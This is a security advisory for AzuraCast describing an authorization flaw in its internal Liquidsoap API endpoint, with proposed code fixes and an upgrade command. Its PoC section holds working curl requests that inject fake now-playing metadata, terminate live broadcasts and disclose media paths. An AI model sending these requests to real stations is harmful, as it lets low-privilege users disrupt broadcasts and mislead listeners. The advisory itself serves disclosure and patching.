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MEDIUM6.3

GHSA-4fm3-ggg2-c6qx

AzuraCast's Missing RequireInternalConnection on Liquidsoap API Allows Low-Privilege Metadata Injection and Broadcast Disruption

Quick fix

GHSA-4fm3-ggg2-c6qx — azuracast/azuracast: upgrade to the fixed version with the command below.

composer require azuracast/azuracast:^0.23.6

Details

## Summary

The `/api/internal/{station_id}/liquidsoap/{action}` endpoint is accessible from the public web interface because it lacks the `RequireInternalConnection` middleware that protects other internal endpoints (`/sftp-auth`, `/sftp-event`). Combined with a logic flaw where the `$asAutoDj` flag is set based on the *presence* of the `X-Liquidsoap-Api-Key` header rather than its *validated value*, any user with the basic `View` station permission can invoke privileged Liquidsoap commands — injecting arbitrary now-playing metadata visible to all listeners, disrupting live broadcast tracking, and disclosing absolute filesystem paths.

## Details

**Issue 1: Missing RequireInternalConnection middleware**

In `backend/config/routes/api_internal.php`, the liquidsoap route group (lines 17-21) lacks the `RequireInternalConnection` middleware:

```php // Lines 17-21 — NO RequireInternalConnection $group->map( ['GET', 'POST'], '/liquidsoap/{action}', Controller\Api\Internal\LiquidsoapAction::class )->setName('api:internal:liquidsoap'); ```

Compare with sftp endpoints that correctly apply it:

```php // Lines 32-34 — HAS RequireInternalConnection $group->post('/sftp-auth', Controller\Api\Internal\SftpAuthAction::class) ->setName('api:internal:sftp-auth') ->add(Middleware\RequireInternalConnection::class); ```

The nginx config (`util/docker/web/nginx/azuracast.conf.tmpl`) only sets the `IS_INTERNAL` FastCGI parameter on the internal port 6010 listener (line 44), not on the public-facing server block (ports 80/443). Without the middleware, the endpoint is fully accessible from the public internet.

**Issue 2: `$asAutoDj` derived from header presence, not validated value**

In `backend/src/Controller/Api/Internal/LiquidsoapAction.php`:

```php // Line 34 — checks header PRESENCE, not value $asAutoDj = $request->hasHeader('X-Liquidsoap-Api-Key');

// Lines 38-44 — key value only checked when ACL FAILS $acl = $request->getAcl(); if (!$acl->isAllowed(StationPermissions::View, $station->id)) { $authKey = $request->getHeaderLine('X-Liquidsoap-Api-Key'); if (!$station->validateAdapterApiKey($authKey)) { throw new RuntimeException('Invalid API key.'); } } ```

When a user authenticates via session/API key and has `StationPermissions::View`, the ACL check passes and the adapter API key is never validated. But `$asAutoDj` is already `true` from line 34 because the header is present (with any arbitrary value).

**Affected commands:**

- `FeedbackCommand` (`backend/src/Radio/Backend/Liquidsoap/Command/FeedbackCommand.php:36`): Guard `if (!$asAutoDj) return false;` bypassed — creates SongHistory records and forces NowPlaying cache updates - `DjOffCommand` (`backend/src/Radio/Backend/Liquidsoap/Command/DjOffCommand.php:24`): Guard bypassed — calls `$this->streamerRepo->onDisconnect($station)` which ends all active broadcasts and sets `$station->is_streamer_live = false` - `DjOnCommand` (`backend/src/Radio/Backend/Liquidsoap/Command/DjOnCommand.php:31`): Guard bypassed — calls `$this->streamerRepo->onConnect($station, $user)` with attacker-controlled username - `CopyCommand` (`backend/src/Radio/Backend/Liquidsoap/Command/CopyCommand.php:18`): No `$asAutoDj` guard at all — returns absolute filesystem paths via `$mediaFs->getLocalPath($uri)`

## PoC

**Prerequisites:** A user account with `StationPermissions::View` on station ID 1 (the lowest station-level permission). Obtain a session cookie or API key for this user.

**1. Inject arbitrary now-playing metadata (FeedbackCommand):**

```bash curl -X POST 'https://target/api/internal/1/liquidsoap/feedback' \ -H 'X-API-Key: <view-user-api-key>' \ -H 'X-Liquidsoap-Api-Key: anything' \ -H 'Content-Type: application/json' \ -d '{"artist": "INJECTED", "title": "Fake Song Title"}' ```

Expected: Should reject — user does not have the adapter API key. Actual: Returns `true`. The injected artist/title appears in `/api/nowplaying/1` for all listeners.

**2. Disrupt live broadcast (DjOffCommand):**

```bash curl -X POST 'https://target/api/internal/1/liquidsoap/djoff' \ -H 'X-API-Key: <view-user-api-key>' \ -H 'X-Liquidsoap-Api-Key: anything' ```

Expected: Should reject. Actual: Returns `true`. All active broadcast records for the station are terminated (`timestampEnd` set), `is_streamer_live` set to `false`, and `current_streamer` cleared.

**3. Disclose filesystem paths (CopyCommand):**

```bash curl -X POST 'https://target/api/internal/1/liquidsoap/cp' \ -H 'X-API-Key: <view-user-api-key>' \ -H 'Content-Type: application/json' \ -d '{"uri": "test.mp3"}' ```

Expected: Should reject — this is an internal-only endpoint. Actual: Returns `{"uri":"/var/azuracast/stations/1/media/test.mp3","isTemp":false}` — disclosing the absolute filesystem path of the station's media storage.

## Impact

Any user with the basic `StationPermissions::View` permission (the lowest station-level role, commonly assigned to DJs and collaborators) can:

1. **Inject arbitrary now-playing metadata** visible to all listeners via the public NowPlaying API and any connected players/widgets. This poisons the song history database and triggers cache updates that propagate the false data to all consumers.

2. **Disrupt live broadcasts** by terminating all active broadcast records and marking the station as having no live streamer, even when a DJ is actively broadcasting. This affects broadcast recording and live-DJ tracking.

3. **Fake DJ connections** with arbitrary usernames via the `djon` command, polluting streamer logs and potentially interfering with DJ scheduling.

4. **Disclose absolute filesystem paths** of the station's media storage directory via the `cp` command (no `$asAutoDj` guard required), which aids further attacks against the server.

## Recommended Fix

**Fix 1: Add `RequireInternalConnection` middleware to the liquidsoap route group.**

In `backend/config/routes/api_internal.php`, add the middleware to the station group:

```php $group->group( '/{station_id}', function (RouteCollectorProxy $group) { $group->map( ['GET', 'POST'], '/liquidsoap/{action}', Controller\Api\Internal\LiquidsoapAction::class )->setName('api:internal:liquidsoap') + ->add(Middleware\RequireInternalConnection::class);

// Icecast internal auth functions $group->map( ['GET', 'POST'], '/listener-auth[/{api_auth}]', Controller\Api\Internal\ListenerAuthAction::class )->setName('api:internal:listener-auth'); } )->add(Middleware\GetStation::class); ```

**Fix 2: Validate the API key value before setting `$asAutoDj`.**

In `backend/src/Controller/Api/Internal/LiquidsoapAction.php`, move `$asAutoDj` assignment after key validation:

```php - $asAutoDj = $request->hasHeader('X-Liquidsoap-Api-Key'); + $asAutoDj = false;

try { $acl = $request->getAcl(); if (!$acl->isAllowed(StationPermissions::View, $station->id)) { $authKey = $request->getHeaderLine('X-Liquidsoap-Api-Key'); if (!$station->validateAdapterApiKey($authKey)) { throw new RuntimeException('Invalid API key.'); } + $asAutoDj = true; + } else { + // Even ACL-authenticated users must provide valid adapter key for AutoDJ operations + $authKey = $request->getHeaderLine('X-Liquidsoap-Api-Key'); + $asAutoDj = !empty($authKey) && $station->validateAdapterApiKey($authKey); } ```

Both fixes should be applied. Fix 1 is the primary defense (defense in depth — this endpoint should never be publicly accessible). Fix 2 corrects the logic flaw so that `$asAutoDj` is only `true` when the adapter API key is actually valid, regardless of how authentication was performed.

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Affected packages

Packagist/azuracast/azuracast
Introduced in: 0Fixed in: 0.23.6
Fixcomposer require azuracast/azuracast:^0.23.6

References